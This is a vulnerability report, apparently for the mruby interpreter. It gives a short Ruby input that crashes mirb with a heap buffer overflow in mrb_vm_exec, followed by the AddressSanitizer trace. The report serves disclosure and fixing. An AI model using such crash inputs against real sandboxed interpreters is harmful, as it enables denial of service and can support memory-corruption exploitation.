Heap buffer overflow in mrb_vm_exec

[clayton-shopify]

The following input demonstrates a crash, when supplied to mirb:

Array.new{{}}
begin
    Fiber.new{+ x}.resume
rescue
end

{}0
x.a

ASAN report:

==11402==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x602000022a9c at pc 0x00010d6d97e1 bp 0x7fff526847d0 sp 0x7fff526847c8
READ of size 4 at 0x602000022a9c thread T0
    #0 0x10d6d97e0 in mrb_vm_exec (mirb:x86_64+0x1001687e0)
    #1 0x10d6d5473 in mrb_vm_run (mirb:x86_64+0x100164473)
    #2 0x10d573359 in main mirb.c:549
    #3 0x7fffe5638234 in start (libdyld.dylib:x86_64+0x5234)

0x602000022a9c is located 4 bytes to the right of 8-byte region [0x602000022a90,0x602000022a98)
allocated by thread T0 here:
    #0 0x10d985520 in wrap_realloc (libclang_rt.asan_osx_dynamic.dylib:x86_64h+0x56520)
    #1 0x10d668d9f in mrb_default_allocf (mirb:x86_64+0x1000f7d9f)
    #2 0x10d5e9b08 in mrb_realloc_simple gc.c:203
    #3 0x10d79c955 in codegen_realloc (mirb:x86_64+0x10022b955)
    #4 0x10d7ad02c in scope_finish (mirb:x86_64+0x10023c02c)
    #5 0x10d79f48a in scope_body (mirb:x86_64+0x10022e48a)
    #6 0x10d78a9b5 in codegen (mirb:x86_64+0x1002199b5)
    #7 0x10d7840a1 in mrb_generate_code (mirb:x86_64+0x1002130a1)
    #8 0x10d573065 in main mirb.c:537
    #9 0x7fffe5638234 in start (libdyld.dylib:x86_64+0x5234)

SUMMARY: AddressSanitizer: heap-buffer-overflow (mirb:x86_64+0x1001687e0) in mrb_vm_exec
Shadow bytes around the buggy address:
  0x1c0400004500: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x1c0400004510: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x1c0400004520: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x1c0400004530: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x1c0400004540: fa fa fa fa fa fa 07 fa fa fa 00 fa fa fa 00 fa
=>0x1c0400004550: fa fa 00[fa]fa fa 00 fa fa fa 00 00 fa fa 00 00
  0x1c0400004560: fa fa fd fd fa fa fd fd fa fa 00 00 fa fa fd fd
  0x1c0400004570: fa fa 07 fa fa fa 04 fa fa fa 00 fa fa fa 04 fa
  0x1c0400004580: fa fa 00 fa fa fa 00 00 fa fa fd fd fa fa fd fd
  0x1c0400004590: fa fa fd fd fa fa 07 fa fa fa 00 fa fa fa 00 fa
  0x1c04000045a0: fa fa 00 00 fa fa 07 fa fa fa 00 fa fa fa 00 fa
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07
  Heap left redzone:       fa
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
  Left alloca redzone:     ca
  Right alloca redzone:    cb
==11402==ABORTING
Abort trap: 6

This issue was reported by https://hackerone.com/ahihi